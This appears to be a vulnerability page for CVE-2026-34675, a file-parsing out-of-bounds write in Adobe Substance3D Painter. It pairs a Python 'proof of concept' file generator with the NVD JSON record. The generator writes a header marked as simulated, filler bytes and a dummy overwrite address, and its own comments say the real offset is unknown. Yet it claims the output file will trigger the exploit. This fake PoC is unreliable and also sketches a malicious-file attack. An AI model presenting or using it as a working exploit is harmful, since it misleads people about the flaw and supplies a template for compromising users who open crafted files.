CVE-2026-34675

import struct def create_malicious_file(filename): """ Proof of Concept generator for CVE-2026-34675. Creates a file designed to trigger the Out-of-Bounds Write vulnerability. """ with open(filename, 'wb') as f: # File header (Simulated) f.write(b'SUBSTANCE_FILE_HEADER') # Padding to reach the vulnerable buffer boundary # The exact offset needs to be determined via reverse engineering padding = b'A' * 0x200 # Malicious payload to overwrite return address or function pointer # Example: Address pointing to shellcode or ROP gadget overflow_payload = struct.pack('<Q', 0x4141414141414141) # Write the crafted data f.write(padding + overflow_payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Adobe Substance3D Painter <= 12.0.2 to trigger the crash/exploit.") if __name__ == "__main__": create_malicious_file("cve_2026_34675_poc.file")

{"cve": {"id": "CVE-2026-34675", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:11.387", "lastModified": "2026-05-12T19:51:46.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_painter:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.0.3", "matchCriteriaId": "B4CDAA8D-786C-467A-82A3-426D11F0A37E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}